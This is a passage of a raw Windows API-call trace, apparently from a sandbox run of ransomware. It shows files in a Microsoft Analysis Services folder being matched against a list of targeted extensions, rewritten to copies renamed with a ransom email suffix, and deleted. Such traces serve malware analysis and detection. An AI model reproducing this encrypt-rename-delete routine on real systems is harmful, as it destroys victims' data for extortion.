(lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.213] lstrlenW (lpString=".zip") returned 4 [0050.213] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.213] lstrlenW (lpString=".rar") returned 4 [0050.213] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString=".bz2") returned 4 [0050.213] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString=".7z") returned 3 [0050.214] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.214] lstrlenW (lpString=".dbf") returned 4 [0050.214] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.214] lstrlenW (lpString=".1cd") returned 4 [0050.214] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.214] lstrlenW (lpString=".jpg") returned 4 [0050.214] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.214] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0050.214] lstrlenW (lpString="msjet.xsl") returned 9 [0050.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.214] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=28974) returned 1 [0050.214] CloseHandle (hObject=0x228) returned 1 [0050.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0050.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.215] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.215] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.215] GetLastError () returned 0x0 [0050.215] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x712e, lpOverlapped=0x0) returned 1 [0050.218] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x7130, lpOverlapped=0x0) returned 1 [0050.219] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.219] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.219] SetEndOfFile (hFile=0x218) returned 1 [0050.219] CloseHandle (hObject=0x218) returned 1 [0050.220] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.220] SetEndOfFile (hFile=0x228) returned 1 [0050.221] CloseHandle (hObject=0x228) returned 1 [0050.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0050.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.221] lstrlenW (lpString=".doc") returned 4 [0050.221] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.221] lstrlenW (lpString=".docx") returned 5 [0050.221] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0050.221] lstrlenW (lpString=".pdf") returned 4 [0050.221] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.221] lstrlenW (lpString=".xls") returned 4 [0050.222] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString=".xlsx") returned 5 [0050.222] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0050.222] lstrlenW (lpString=".ppt") returned 4 [0050.222] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.222] lstrlenW (lpString=".zip") returned 4 [0050.222] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.222] lstrlenW (lpString=".rar") returned 4 [0050.222] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString=".bz2") returned 4 [0050.222] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString=".7z") returned 3 [0050.222] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.222] lstrlenW (lpString=".dbf") returned 4 [0050.222] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.222] lstrlenW (lpString=".1cd") returned 4 [0050.222] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.222] lstrlenW (lpString=".jpg") returned 4 [0050.222] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.222] lstrlenW (lpString=".doc") returned 4 [0050.222] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.222] lstrlenW (lpString=".docx") returned 5 [0050.222] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0050.222] lstrlenW (lpString=".pdf") returned 4 [0050.222] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString=".xls") returned 4 [0050.223] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString=".xlsx") returned 5 [0050.223] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0050.223] lstrlenW (lpString=".ppt") returned 4 [0050.223] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.223] lstrlenW (lpString=".zip") returned 4 [0050.223] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.223] lstrlenW (lpString=".rar") returned 4 [0050.223] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString=".bz2") returned 4 [0050.223] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString=".7z") returned 3 [0050.223] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.223] lstrlenW (lpString=".dbf") returned 4 [0050.223] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.223] lstrlenW (lpString=".1cd") returned 4 [0050.223] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0050.223] lstrlenW (lpString=".jpg") returned 4 [0050.223] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.223] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0050.223] lstrlenW (lpString="sql2000.xsl") returned 11 [0050.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.226] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=34076) returned 1 [0050.226] CloseHandle (hObject=0x228) returned 1 [0050.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0050.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.226] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.226] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.226] GetLastError () returned 0x0 [0050.226] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x851c, lpOverlapped=0x0) returned 1 [0050.230] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x8520, lpOverlapped=0x0) returned 1 [0050.231] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.231] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.231] SetEndOfFile (hFile=0x218) returned 1 [0050.231] CloseHandle (hObject=0x218) returned 1 [0050.231] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.231] SetEndOfFile (hFile=0x228) returned 1 [0050.232] CloseHandle (hObject=0x228) returned 1 [0050.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0050.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.233] lstrlenW (lpString=".doc") returned 4 [0050.233] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.233] lstrlenW (lpString=".docx") returned 5 [0050.233] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.233] lstrlenW (lpString=".pdf") returned 4 [0050.233] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.233] lstrlenW (lpString=".xls") returned 4 [0050.233] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.233] lstrlenW (lpString=".xlsx") returned 5 [0050.233] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.233] lstrlenW (lpString=".ppt") returned 4 [0050.233] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.233] lstrlenW (lpString=".zip") returned 4 [0050.233] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.233] lstrlenW (lpString=".rar") returned 4 [0050.233] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.233] lstrlenW (lpString=".bz2") returned 4 [0050.233] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.233] lstrlenW (lpString=".7z") returned 3 [0050.233] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.233] lstrlenW (lpString=".dbf") returned 4 [0050.234] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.234] lstrlenW (lpString=".1cd") returned 4 [0050.234] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.234] lstrlenW (lpString=".jpg") returned 4 [0050.234] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.234] lstrlenW (lpString=".doc") returned 4 [0050.234] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString=".docx") returned 5 [0050.234] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.234] lstrlenW (lpString=".pdf") returned 4 [0050.234] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString=".xls") returned 4 [0050.234] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString=".xlsx") returned 5 [0050.234] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.234] lstrlenW (lpString=".ppt") returned 4 [0050.234] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.234] lstrlenW (lpString=".zip") returned 4 [0050.234] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.234] lstrlenW (lpString=".rar") returned 4 [0050.234] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString=".bz2") returned 4 [0050.234] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.234] lstrlenW (lpString=".7z") returned 3 [0050.234] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.234] lstrlenW (lpString=".dbf") returned 4 [0050.235] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.235] lstrlenW (lpString=".1cd") returned 4 [0050.235] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0050.235] lstrlenW (lpString=".jpg") returned 4 [0050.235] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.235] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0050.235] lstrlenW (lpString="sql70.xsl") returned 9 [0050.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.237] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=32146) returned 1 [0050.237] CloseHandle (hObject=0x218) returned 1 [0050.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0050.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.237] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.238] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.238] GetLastError () returned 0x0 [0050.238] ReadFile (in: hFile=0x218, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x7d92, lpOverlapped=0x0) returned 1 [0050.241] WriteFile (in: hFile=0x21c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0050.242] ReadFile (in: hFile=0x218, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.242] WriteFile (in: hFile=0x21c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.242] SetEndOfFile (hFile=0x21c) returned 1 [0050.243] CloseHandle (hObject=0x21c) returned 1 [0050.243] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.243] SetEndOfFile (hFile=0x218) returned 1 [0050.244] CloseHandle (hObject=0x218) returned 1 [0050.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0050.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.244] lstrlenW (lpString=".doc") returned 4 [0050.244] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.244] lstrlenW (lpString=".docx") returned 5 [0050.244] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.244] lstrlenW (lpString=".pdf") returned 4 [0050.244] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.244] lstrlenW (lpString=".xls") returned 4 [0050.244] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.244] lstrlenW (lpString=".xlsx") returned 5 [0050.244] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.244] lstrlenW (lpString=".ppt") returned 4 [0050.245] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.245] lstrlenW (lpString=".zip") returned 4 [0050.245] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.245] lstrlenW (lpString=".rar") returned 4 [0050.245] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString=".bz2") returned 4 [0050.245] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString=".7z") returned 3 [0050.245] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.245] lstrlenW (lpString=".dbf") returned 4 [0050.245] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.245] lstrlenW (lpString=".1cd") returned 4 [0050.245] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.245] lstrlenW (lpString=".jpg") returned 4 [0050.245] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.245] lstrlenW (lpString=".doc") returned 4 [0050.245] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString=".docx") returned 5 [0050.245] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.245] lstrlenW (lpString=".pdf") returned 4 [0050.245] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString=".xls") returned 4 [0050.245] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.245] lstrlenW (lpString=".xlsx") returned 5 [0050.245] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.245] lstrlenW (lpString=".ppt") returned 4 [0050.246] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0050.246] lstrlenW (lpString=".zip") returned 4 [0050.246] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 